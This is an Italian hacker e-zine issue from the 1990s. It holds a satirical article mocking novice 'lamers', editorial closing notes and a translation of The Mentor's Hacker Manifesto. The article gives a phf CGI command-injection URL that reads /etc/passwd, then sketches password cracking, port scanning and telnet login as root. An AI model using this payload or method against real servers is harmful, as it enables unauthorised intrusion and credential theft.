letta, magari di nascosto... :)

Perche' un articolo di cosi' basso livello? In una cosi' bella rivista???
Le risposte possono essere diverse: la prima e' che sono un gran lamer
e, per scimmiottare i pirati veri, mi occorreva una pubblicazione :)
un altra e' che frequento hackers.it su IRCnet e su quel canale si
accumulano tante di quelle esperienze sul laming da fare schifo...
o ancora: molti di noi (noi lamers) vorrebbero iniziare a molestare i
sistemi remoti partendo da conoscenze pressocche' nulle, e da quella merda di
w1N95 (a proposito un buon lamer parla male di win95 anche se conosce solo
quel S.O. anzi la cosa migliore e' usarlo con lo sfondo pieno di scritte tipo:
"mIcR0z0fT SuX" ecc., sono fondamentali anche i caratteri cosi',in
particolare il 3 al posto della E e lo 0 al posto della O) ma spesso ci viene
negata
anke (la K al posto del ch) questa soddisfazione.
La domanda piu' frequente che pone un lamer e': "come si diventa hackers?"
La risposta piu' frequente che riceve: "installati linux... e quando
impari ne riparliamo...", in genere chi risponde cosi' e' uno molto piu'
lamer dell'interlocutore, ha una slack v.1.2.xx installata malissimo e non
riesce neanche ad avviarla... la risposta corretta e': "inizia a truccarti il
motorino: e' fare hacking anche quello..."

Comunque... veniamo al dunque...
Per la serie "ce volemo diverti' ppure noi" vediamo cosa si puo'
combinare con un wINd0z3 e un pentium (o anche meno) ed una semplicissima
connessione a 33.6 con tin o iol (o anche meno II).
Per prima cosa vi occorre qualche programma (non rompete col reperimento,
usate qualche motore di ricerca!!!):

-Un browser (Netscape va benissimo, i.expl. un po' meno: mIcR0ZofT
sUX:)))
-John (o jackpot o starcrack o altri ancora per decriptare le pwd)
-un Port Scanner (Netcop o similare per analizzare le porte)
-un client telnet (CRT e' uno dei migliori ed e' freeware(?) ciao
xOANON:))

Passiamo all' azione...
Esiste un vecchio bug nella sicurezza delle macchine collegate in rete,
molto conosciuto, ma che, essendo i sysop anch'essi dei lameroni, in qualche
sito funziona ancora egregiamente, in particolare quelli con dominio .it :).
Aprite il vostro browser, col mouse selezionate l'area dove compare
l'url (eheh sembro un manuale PCfacile:) e digitate, senza pensare cosa possa
voler dire, anzi non digitate neanche...fate un copia e incolla che e'
piu'semplice, con questa FORMULA MAGICA:

http://www.domainchevogliohackerare.com/cgi-bin/phf?Qalias=x%0a/bin/cat
%20/etc/passwd

Naturalmente sostituite il www.ecc.. (siamo lamerZ ma non aprofittiamone...),
se il sito e' un po' curato, e il sysop legge phrack, vi dovrebbe
apparire uno squallido FILE NOT FOUND o una bellissima scritta ACCESS DENIED,
che
vuol dire piu'o meno lo stesso ma e' molto piu' c00l (o keWl) da raccontare
agli amici.
Se chi gestisce il sito e' lamerazzo peggio di voi, e legge Il Tromba,
dovrebbe apparirvi una pagina di testo con delle scritte strane...
Okkio!!!
quello e' il file delle passwords: salvatelo!!!
Poi datelo da mangiare al vostro cracker preferito (john p.e., per l'uso
vi rimando a numeri precedenti di systemdown...)
Quando avete ottenuto la pass di un superuser, avviate il vostro port
scanner preferito, puntato sull'url akkato in precedenza, dovrebbe darvi una
lista con circa una quindicina di numeri (le porte:)), segnateli in un
post-it!!!
Poi avviate il client telnet inserite il dns, indirizzatelo su ognuno di
quei numeretti del post-it e iniziate a premere invii, punti di domanda,
ctrlA-Z, ctrl0-9 e tutto quant'altro vi viene in mente, finche' non vi appare
una
bella maschera con scritto USER: o LOGIN:...Qui inserite il login e la pass
ottenuti in precedenza e... BINGO!
Siete dentro! ovvero siete dei VERI HACKERS!!!!
(imparare cosa sia una shell o un daemon e come funzionano e' un altro
discorso, ma voi fregatevene... ormai siete r00t in un altro sistema!
Potete dirlo in IRC, dedicargli una home page, spararlo nelle news,
raccontarlo sul vostro BBS, scriverlo sui muri, ecc...)

Ora... se avete resistito sino a questo punto (della lettura intendo)
dubito che riusciate ad andare oltre (nel sistema remoto intendo).
Pero' se, sempre come prevedo, riuscirete a fare qualche inutile danno,
o perlomeno a farvi tracciare, c'e' la speranza che vi arrestino cosi' per
un po' state lontani da internet e dal modem, il che' non puo' farvi (e
farci) che bene, senza contare che poi, con un po' di fortuna, quando uscite
da galera, vi chiama Maurizio Costanzo o Format e vi fanno vedere in TV, in
una puntata dedicata alla pedofilia in rete.
Forse e' meglio continuare a fare i lamerZ...
...meditate.

Ciao a tutti e... happy hacking!
anzi ...bYeZ e happy laming!!!! :)))

hAnK

L'autore di questo articolo e' a vostra completa (si fa per dire)
disposizione su IRCnet oppure sulla casella pittiga@hotmail.com
Usa poco il pgp e solo per messaggi sovversivi tipo "hAi il cRacK di
f1gp2?"
E pensa che chi si sente un po' preso per il fondo da questa
pubblicazione non abbia sense of humor, ma solamente tanta ragione.

Ringraziamenti

Volevo fare un solo ringraziamento dedicato a tutti coloro che ci leggono e
che ci incoraggiano ad andare avanti e che, con il loro appoggio ci hanno
consentito di arrivare fino a questo numero.
Inoltre vorrei ringraziare sia Cavallo de Cavallis sia Hank per avere scritto
cosi' velocemente i loro articoli.
Non penso sia necessario aggiungere altro.

Conclusioni

Per chiudere questo numero vorrei invitare tutti coloro che sono arrivati a
leggere queste righe di conclusione a scrivere articoli anche semplici e
mandarceli per poterli pubblicare nel nuovo spazio a voi dedicato.
Gli articoli ( se mai ne dovessero arrivare piu' di uno ) verranno pubblicati
in ordine, per cosi' dire, di arrivo... a meno che non vi siano troppi
articoli sullo stesso argomento che farebbero risultare monotono questo
vostro angolo; quindi prima magari di scrivere un qualche tipo di articolo
molto simile ad uno gia presente pensateci su'...le idee, sono sicuro, le
avete.
Un'altra cosa:
Mi era venuta la curiosita' di sapere quanti siete la' fuori nel mondo del
bit che leggete questo testo e vi invito ad inviare alla mail del Dr.Creker
o alla mia una semplice lettere con nel subject la scritta "prova".
Se avete voglia fatelo.
Concludo questo quarto numero riportando un testo che tutti dovrebbero
conoscere; fino a ieri era in lingua inglese ma oggi lo abbiamo tradotto per
chi con quella lingua non ha molto a che fare... ;))
Chiedo scusa in anticipo per gli eventuali errori di traduzione o di
comprensione. Ringrazio Xoanon e RaggedRobin per l'aiuto che mi hanno fornito.

HACKER MANIFESTO ++The Mentor++ ( The Mentor's Last Words )

Ne e' stato arrestato un altro oggi, e' su tutti i giornali.
"Ragazzo arrestato per crimine informatico", "Hacker arrestato dopo essersi
infiltrato in una banca"...
Dannati ragazzini. Sono tutti uguali.
Ma avete mai, con la vostra psicologia da due soldi e il vostro tecno-cervello
da anni 50, guardato dietro agli occhi del Hacker?
Non vi siete mai chiesti cosa abbia fatto nascere la sua passione? Quale
forza lo abbia creato, cosa puo' averlo forgiato?
Io sono un hacker, entrate nel mio mondo...
Il mio e' un mondo che inizia con la scuola... Sono piu' sveglio di molti
altri ragazzi, quello che ci insegnano mi annoia...
Dannato sottosviluppato. Sono tutti uguali.
Io sono alle Junior High, o alla High School. Ho ascoltato gli insegnanti
spiegare per quindici volte come ridurre una frazione. L'ho capito. "No, Ms.
Smith, io non mostro il mio lavoro. E' tutto nella mia testa..."
Dannato bambino. Probabilmente lo ha copiato. Sono tutti uguali.
Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un momento, questo
e' incredibile! Fa esattamente quello che voglio.
Se commetto un errore, e' perche' io ho sbagliato, non perche' io non gli
piaccio...
O perche' si senta minacciato da me...
O perche' pensi che io sia un coglione...
O perche' non gli piace insegnare e vorrebbe essere da un'altra parte...
Dannato bambino. Tutto quello che fa e' giocare. Sono tutti uguali.
Poi e' successa una cosa...una porta si e' aperta su un mondo...correndo
attraverso le linee telefoniche come l'eroina nelle vene del tossicomane, un
impulso elettronico e' stato spedito, un rifugio dagli incompetenti di ogni
giorno e' stato trovato, una tastiera e' stata scoperta.
"Questo e'...questo e' il luogo a cui appartengo..."
Io conosco tutti qui...non ci siamo mai incontrati, non abbiamo mai parlato
faccia a faccia, non ho mai ascoltato le loro voci...pero' conosco tutti.
Dannato bambino. Si e' allacciato nuovamente alla linea telefonica. Sono tutti
uguali.
Ci potete scommettere il culo che siamo tutti uguali...noi siamo stati nutriti
con cibo da bambini alla scuola mentre bramavamo una bistecca... i pezzi di
cibo che ci avete dato erano gia stati masticati e senza sapore.
Noi siamo stati dominati da sadici o ignorati dagli indifferenti. I pochi
che avevano qualcosa da insegnarci trovavano in noi volenterosi allievi, ma
queste persone sono come gocce d'acqua nel deserto.
Ora e' questo il nostro mondo...il mondo dell'elettrone e dello switch, la
bellezza del baud. Noi facciamo uso di un servizio gia esistente che non
costerebbe nulla se non fosse controllato da approfittatori ingordi, e voi
ci chiamate criminali. Noi esploriamo...e ci chiamate criminali.
Noi cerchiamo conoscenza...e ci chiamate criminali.
Noi esistiamo senza colore di pelle, nazionalita', credi religiosi e ci
chiamate criminali. Voi costruite bombe atomiche, finanziate guerre, uccidete,
ingannate e mentite e cercate di farci credere che lo fate per il nostro bene,
e poi siamo noi i criminali.
Si, io sono un criminale. Il mio crimine e' la mia curiosita'.
Il mio crimine e' quello che i giurati pensano e sanno non quello che
guardano.
Il mio crimine e' quello di scovare qualche vostro segreto, qualcosa che non
vi fara' mai dimenticare il mio nome.
Io sono un hacker e questo e' il mio manifesto. Potete anche fermare me, ma
non potete fermarci tutti...dopo tutto, siamo tutti uguali.

Ci risentiamo a dicembre con il numero natalizio :))

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos from Google Play

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT